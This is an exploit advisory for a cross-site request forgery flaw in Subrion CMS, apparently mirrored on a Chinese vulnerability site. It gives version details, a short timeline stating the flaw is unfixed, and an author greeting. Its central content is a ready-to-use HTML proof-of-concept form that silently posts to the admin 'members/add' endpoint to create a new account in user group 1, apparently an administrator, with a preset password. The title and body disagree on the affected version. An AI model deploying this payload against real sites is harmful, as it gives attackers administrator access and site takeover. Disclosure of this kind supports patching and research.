[+] Author: TUNISIAN CYBER [+] Exploit Title: Subrion v3.1.1 Cross-Site Request Forgery (CSRF) Vulnerability [+] Date: 22-02-2014 [+] Category: WebApp [+] Tested on: KaliLinux/Windows 7 Pro [+] Vendor: http://www.subrion.com/product.html [+] Friendly Sites: na3il.com,th3-creative.com 1.OVERVIEW: Subrion suffers from a Cross-Site Request Forgery (CSRF) Vulnerability. 2.Version: v3.1.3 3.Background: Subrion CMS is a stand-alone PHP content management system that is very easy to use. It comes with a ton of great features including full source editing, per-page permissions, user activity monitoring, and much more. Subrion CMS unites the functionality of articles script, auto classifieds script, realty classifieds script, web directory script, and yellow pages script all in one package. http://www.subrion.com/product.html 4.Proof Of Concept: <html> <head> </head> <body><center><br/> <form method="post" action="http://127.0.0.1/subrion/admin/members/add/" onsubmit="forge()"> <input type="hidden" name="username" value="admin2" /> <input type="hidden" name="fullname" value="TUNISIAN CYBER" /> <input type="hidden" name="email" value="g4k@hotmail.es" /> <input type="hidden" name="_password" value="checkmate" /> <input type="hidden" name="_password2" value="checkmate" /> <input type="hidden" name="usergroup" value="1" /> <input type="hidden" name="avatar" value="" /> <input type="hidden" name="sponsored" value="0" /> <input type="hidden" name="plan_id" value="1" /> <input type="hidden" name="sponsored_end" value="" /> <input type="hidden" name="status" value="active" /> <input type="hidden" name="save" value="Add" /> <input type="hidden" name="goto" value="list" /> <input type="hidden" name="old_name" value="ZSL" /> <input type="hidden" name="id" value="" /> <input type="submit" id="csrf" value="click Me!" /> </form></center> <script type="text/javascript"> function forge(){document.getElementById("csrf").click();} </script> </body> </html> 5.Solution(s): NOT FIXED 6.TIME-LINE: 2014-02-20: Vulnerability was discovered. 2014-02-21: No Reply 2014-02-22: No Reply 2014-02-22: Vulnerability released 7.Greetings: Xmax-tn Xtech-set N43il Sec4ver,E4A Members
※本站提供的任何内容、代码与服务仅供学习，请勿用于非法用途，否则后果自负
您的会员可兑换次数还剩： 次 本次兑换将消耗 1 次
续费请拨打客服热线，感谢您一直支持 Seebug!
京公网安备 11010502034610号
暂无评论